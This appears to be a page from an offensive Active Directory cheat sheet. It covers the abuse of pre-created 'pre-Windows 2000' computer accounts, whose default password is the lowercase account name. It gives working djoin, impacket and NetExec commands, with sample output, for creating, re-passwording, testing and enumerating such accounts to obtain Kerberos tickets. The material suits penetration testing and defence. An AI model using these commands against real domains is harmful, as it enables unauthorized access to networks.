40 lines
2.0 KiB
Markdown
40 lines
2.0 KiB
Markdown
# Password - Pre-Created Computer Account
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When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account **SERVERDEMO$** would have the password **serverdemo**.
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```ps1
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# Create a machine with default password
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# must be run from a domain joined device connected to the domain
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djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
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```
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* When you attempt to login using the credential you should have the following error code : `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
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* Then you need to change the password with [rpcchangepwd.py](https://github.com/SecureAuthCorp/impacket/pull/1304)
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```ps1
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python3 rpcchangepwd.py '<DOMAIN>/COMPUTER>$':'<PASSWORD>'@<DC IP> -newpass '<PASS>'
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```
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:warning: When the machine account name and the password are the same, the machine will also act like a pre-Windows 2000 computer and the authentication will result in `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`.
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```ps1
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$ impacket-addcomputer -dc-ip 10.10.10.10 EXODIA.LOCAL/Administrator:P@ssw0rd -computer-name swkserver -computer-pass swkserver
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[*] Successfully added machine account swkserver$ with password swkserver.
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$ nxc smb 10.10.10.10 -u 'swkserver$' -p swkserver
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SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-8OJFTLMU1IG) (domain:EXODIA.LOCAL) (signing:True) (SMBv1:False)
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SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [-] EXODIA.LOCAL\swkserver$:swkserver STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
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```
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## Enumerate Pre-Created Computer Account
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Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
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```ps1
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nxc -u username -p password -M pre2K
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```
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## References
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* [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/)
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